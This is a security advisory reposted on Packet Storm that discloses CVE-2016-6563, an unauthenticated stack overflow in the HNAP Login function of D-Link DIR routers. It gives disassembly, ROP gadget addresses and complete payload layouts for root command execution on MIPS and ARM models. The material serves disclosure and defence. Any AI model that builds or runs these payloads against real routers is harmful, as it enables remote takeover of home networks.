exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

D-Link DIR Routers HNAP Login Stack Buffer Overflow

D-Link DIR Routers HNAP Login Stack Buffer Overflow
Posted Nov 8, 2016
Authored by Pedro Ribeiro

A stack buffer overflow affects several D-Link routers and can be exploited by an unauthenticated attacker. The interesting thing about this vulnerability is that it affects both ARM and MIPS devices, so exploitation is slightly different for each type.

tags | advisory, overflow
advisories | CVE-2016-6563
SHA-256 | cb979ec54ab67f3c6ce43a8df2d9651d4f4b33a1511fd13e636ea603d7c292d6

D-Link DIR Routers HNAP Login Stack Buffer Overflow

Change Mirror Download

A stack bof in several Dlink routers, which can be exploited by an
unauthenticated attacker in the LAN. There is no patch as Dlink did not
respond to CERT's requests. As usual, a Metasploit module is in the
queue (see [9] below) and should hopefully be integrated soon.

The interesting thing about this vulnerability is that it affects both
ARM and MIPS devices, so exploitation is slightly different for each type.

Link to CERT's advisory:

Link to a copy of the advisory pasted below:

Have fun.


>> Multiple vulnerabilities in Dlink DIR routers HNAP Login function
(multiple routers affected)
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information
Disclosure: 07/11/2016 / Last updated: 07/11/2016

>> Background on the affected products:
"Smartphones, laptops, tablets, phones, Smart TVs, game consoles and
more a all being connected at the same time. Thatas why we created the
new AC3200 Ultra Wi-Fi Router. With Tri-Band Technology and speeds up to
3.2Gbps, it delivers the necessary ultra-performance to power even the
most demanding connected homes, making it the best wireless home router
for gaming."

>> Summary:
Dlink routers expose a protocol called HNAP (Home Network Administration
Protocol) on the LAN interface. This is a SOAP protocol that allows
identification, configuration, and management of network devices. It
seems Dlink uses an implementation of this protocol to communicate with
the router's web interface over the LAN. For more information regarding
HNAP, see [1] and [2].

Dlink has a long history of vulnerabilities in HNAP. Craig Heffner in
particular seems to have found a lot of them (see [3], [4], [5], [6],
[7], [8]).

This new vulnerability occurs in the processing of XML tags inside SOAP
messages when performing the HNAP Login action. The affected function
contains two subsequent stack overflows, which can be exploited by an
unauthenticated attacker on the LAN. It affects a number of Dlink
routers which span the ARM and MIPS architectures. A Metasploit module
that exploits this vulnerability for both architectures has been
released [9].

A special thanks to CERT/CC and Trent Novelly for help with disclosing
this vulnerability to the vendor. Please refer to CERT's advisory for
more details [10].

>> Technical details:
Vulnerability: Stack buffer overflow
Attack Vector: Remote
Constraints: Can be exploited by an unauthenticated attacker. See below
for other constraints.
Affected versions:
The following MIPS devices have been confirmed to be vulnerable:

The following ARM devices have been confirmed to be vulnerable:
DIR-868L -> Rev. B and C only

There might be other affected devices which are not listed above.

Vulnerability details and MIPS exploitation

The vulnerable function, parse_xml_value (my name, not a symbol), is
called from hnap_main (a symbol in the binary) in /htdocs/cgibin.
This function takes 3 arguments: the first is the request object /
string, the second is the XML tag name to be parsed inside the request,
and the third is a pointer to where the value of that tag should be

The function tries to find the tag name inside the request object and
then extracts the tag value, copying it first to a local variable and
then to the third argument. This function is called from hnap_main when
performing the HNAP Login action to obtain the values of Action,
Username, LoginPassword and Catpcha from the SOAP request shown above.

parse_xml_value(char* request, char* XMLtag, char* tag_value)
.text:00412264 xml_tag_value_start = $s2
.text:00412264 xml_tag_value_end = $s1
.text:00412264 C30 addu xml_tag_value_start, $v0, $s0
# s2 now points to <Action>$value</Action>
.text:00412268 C30 la $t9, strstr
.text:0041226C C30 move $a1, xml_tag_value_end # needle
.text:00412270 C30 jalr $t9 ; strstr
.text:00412274 C30 move $a0, xml_tag_value_start #
.text:00412278 C30 lw $gp, 0xC30+var_C20($sp)
.text:0041227C C30 beqz $v0, loc_4122BC
.text:00412280 C30 subu xml_tag_value_end, $v0,
xml_tag_value_start # s1 now holds the ptr to <Action>value$</Action>
.text:00412284 C30 bltz xml_tag_value_end, loc_4122BC
.text:00412288 C30 addiu $s0, $sp, 0xC30+xml_tag_var
.text:0041228C C30 la $t9, strncpy
.text:00412290 C30 move $a2, xml_tag_value_end # n
.text:00412294 C30 move $a1, xml_tag_value_start # src
.text:00412298 C30 addu xml_tag_value_end, $s0,
.text:0041229C C30 jalr $t9 ; strncpy # copies all
chars in <Action>$value$</Action> to xml_tag_var using strncpy
.text:004122A0 C30 move $a0, $s0 # dest
.text:004122A4 C30 move $a0, a2_ptr # a2_ptr is
a stack variable from hnap_main (passed as third argument to
.text:004122A8 C30 lw $gp, 0xC30+var_C20($sp)
.text:004122AC C30 move $a1, $s0 # src
.text:004122B0 C30 la $t9, strcpy # copies
xml_tag_var into a2_ptr using strcpy
.text:004122B4 C30 jalr $t9 ; strcpy # the stack
of the calling function (hnap_main) is thrashed if 2408+ bytes are sent
.text:004122B8 C30 sb $zero, 0(xml_tag_value_end)

There are two overflows, therefore two choices for exploitation:
1) The local stack (on parse_xml_value) can be overrun with 3096+ bytes.
This overflow occurs even though strncpy is used, because the argument
to strncpy is simply the strlen of the value inside the XML tag.
2) Alternatively, it's possible to overrun the stack of the calling
function (hnap_main), using only 2408+ bytes - this is because strcpy is
used to copy the xml_tag_var onto the third argument received by
parse_xml_value, which is a pointer to a stack variable in hnap_main.

Exploiting 1) is easier, and the following example will explain how.

All the affected MIPS devices use the same version of uClibc
(libuClibc- and seem to load it at 0x2aabe000, which makes
exploitation trivial for all firmware versions. It should be noted that
the MIPS devices use the RTL8881a CPU, which is based on a Lextra
RLX5281 core. The Lextra RLX cores are MIPS clones, but they're bit
crippled as they are lacking a few load and store instructions. For this
reason, some generic shellcodes that work on MIPS might not work on
these CPUs (especially when obfuscated).

The devices also do not have NX, ASLR nor any other modern memory
protections, so the shellcode is executed directly on the stack.
However, it's necessary to use ROP to prepare the stack for execution,
which can be executed with gadgets taken from libuClibc-
Due to the way MIPS CPUs work, it's necessary to flush the CPU cache
before executing the exploit. This can be forced by calling sleep() from
libc (refer to
http://blog.emaze.net/2011/10/exploiting-mips-embedded-devices.html for
an explanation on the MIPS CPU caches).

So the ROP chain and shellcode will look like:

first_gadget - execute sleep and call second_gadget
.text:0004EA1C move $t9, $s0 <- sleep()
.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget
.text:0004EA24 li $a0, 2 <- arg for sleep()
.text:0004EA28 lw $s0, 0x20+var_8($sp)
.text:0004EA2C li $a1, 1
.text:0004EA30 move $a2, $zero
.text:0004EA34 jr $t9
.text:0004EA38 addiu $sp, 0x20

second_gadget - puts stack pointer in a1:
.text:0002468C addiu $s1, $sp, 0x58
.text:00024690 li $s0, 0x44
.text:00024694 move $a2, $s0
.text:00024698 move $a1, $s1
.text:0002469C move $t9, $s4
.text:000246A0 jalr $t9
.text:000246A4 move $a0, $s2

third_gadget - call $a1 (which now has the stack pointer):
.text:00041F3C move $t9, $a1
.text:00041F40 move $a1, $a2
.text:00041F44 addiu $a0, 8
.text:00041F48 jr $t9
.text:00041F4C nop

When the crash occurs, the stack pointer is at xml_tag_value[3128]. In
order to have a larger space for the shellcode (3000+ bytes), it's
possible to jump back to xml_tag_value[0].
prep_shellcode_1 = 23bdf3c8 # addi sp,sp,-3128
prep_shellcode_2 = 03a0f809 # jalr sp
branch_delay = 2084f830 # addi a0,a0,-2000 (NOP executed as a
MIPS branch delay slot)

The final Action / Username / LoginPassword / Catpcha XML parameter
value will be:
shellcode + 'a' * (3072 - shellcode.size) + sleep() + '1' * 4 + '2' * 4
+ '3' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget +
'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay

'a', 'b' and 'c' are just fillers to make up the buffer, while '1111',
'2222' and '3333' will be the values of s1, s2 and s3 registers (which
are not interesting for exploitation), and the rest is the ROP chain,
shellcode and stack preparation routine. The only bad character that
cannot be sent in the payload is the null byte as this is a str(n)cpy
overflow. Up to 3350 characters can be sent, as after that it's hard to
control the overflow in a reliable way. Note that all of this is to
exploit the first buffer overflow with strncpy, but the second buffer
overflow can be exploited in a similar way.

As explained above, due to the use of a crippled MIPS core, generic
shellcodes found on the Internet will likely fail. Some very simple ones
work, but the best is to craft a reliable one. The simple Metasploit
bind shell also seems to work pretty reliably if no encoder is used.

ARM exploitation

The same two stack overflows affect ARM, but require less bytes to
overflow the stack. The following snippet is the same part of
parse_xml_value as shown for MIPS (taken from firmware 2.03b01 for the
DIR-868 Rev. B):
.text:00018F34 C30 LDR R1, [R11,#src] ; src
.text:00018F38 C30 LDR R2, [R11,#n] ; n
.text:00018F3C C30 SUB R3, R11, #-xml_tag_var
.text:00018F40 C30 SUB R3, R3, #4
.text:00018F44 C30 SUB R3, R3, #4
.text:00018F48 C30 MOV R0, R3 ; dest
.text:00018F4C C30 BL strncpy ; first overflow occurs here
(xml_tag_var in parse_xml_stack) with 1024+ characters
.text:00018F50 C30 MOV R3, #0xFFFFFBEC
.text:00018F58 C30 LDR R2, [R11,#n]
.text:00018F5C C30 SUB R1, R11, #-var_4
.text:00018F60 C30 ADD R2, R1, R2
.text:00018F64 C30 ADD R3, R2, R3
.text:00018F68 C30 MOV R2, #0
.text:00018F6C C30 STRB R2, [R3]
.text:00018F70 C30 SUB R3, R11, #-xml_tag_var
.text:00018F74 C30 SUB R3, R3, #4
.text:00018F78 C30 SUB R3, R3, #4
.text:00018F7C C30 LDR R0, [R11,#a2_ptr] ; a2_ptr is is a
stack variable from hnap_main
.text:00018F80 C30 MOV R1, R3 ; src
.text:00018F84 C30 BL strcpy ; second overflow occurs here

The stack size will be smaller for both parse_xml_value and hnap_main
when compared to the MIPS binary. This time again it's easier to exploit
the easier strncpy overflow in parse_xml_value, but only 1024 bytes are
enough to overflow the stack. As with the MIPS exploit, the only bad
character is the null byte.

The affected ARM devices have a non-executable stack (NX) and 32 bit
ASLR. NX can be defeated with ROP, and the 32 bit ASLR is weak - there
are only 3 bytes that change in the address calculations, which means
there are only 4096 possible values. The attack has to be run several
times until the correct base address is hit, but this can usually be
achieved in less than 1000 attempts.

The easiest attack to perform is a return-to-libc to execute a command
with system(). To do this, R0 must point to the stack location where the
command is before system() is called. All the affected ARM devices seem
to use the same version of uClibc (libuClibc- for all
firmware versions, which makes gadget hunting much easier and allows
building an exploit that works on all the devices without any modification.

first_gadget (pops system() address into r3, and second_gadget into PC):
.text:00018298 LDMFD SP!, {R3,PC}

second_gadget (puts the stack pointer into r0 and calls system() at r3):
.text:00040CB8 MOV R0, SP
.text:00040CBC BLX R3

system() (Executes argument in r0 (our stack pointer)
.text:0005A270 system

The final Action / Username / LoginPassword / Catpcha XML parameter
value will be:
'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() +
second_gadget + command

a / b = filler
0xffffffff = integer n (see below)
AAAA = R11
first_gadget = initial PC
payload = stack points here after execution of our ROP chain; it should
point to whatever we want system() to execute

When the overflow happens, the stack var "n" is overwritten, which is
used to calculate a memory address (see 0x18F58). In order not to crash
the process before the shellcode is executed, the variable needs to be
set to a numeric value that can be used to calculate a valid memory
address. A good value to choose is 0xffffffff, as this will just
subtract 1 from the calculated memory address and prevent an invalid
memory access.

From this point onwards, it's possible to execute any command in
"payload". For example, wget can be used to download a shell and execute
it or a telnet server can be started. All commands will be executed as root.

>> Fix:
Dlink did not respond to my or CERT's request for information, so no
firmware fix is available at the time of writing.
Given that this vulnerability can only be exploited in the LAN, it is
recommended to have a strong wireless password to prevent untrusted
clients from connecting to the router.

>> References:

[2] https://en.wikipedia.org/wiki/Home_Network_Administration_Protocol
[3] http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/
[4] http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/
[5] http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/
[7] https://dl.packetstormsecurity.net/papers/attack/dlink_hnap_captcha.pdf
[9] https://github.com/rapid7/metasploit-framework/pull/7543
[10] https://www.kb.cert.org/vuls/id/677427

Agile Information Security Limited
>> Enabling secure digital business >>

Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    10 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    37 Files
  • 27
    Feb 27th
    34 Files
  • 28
    Feb 28th
    27 Files
  • 29
    Feb 29th
    8 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By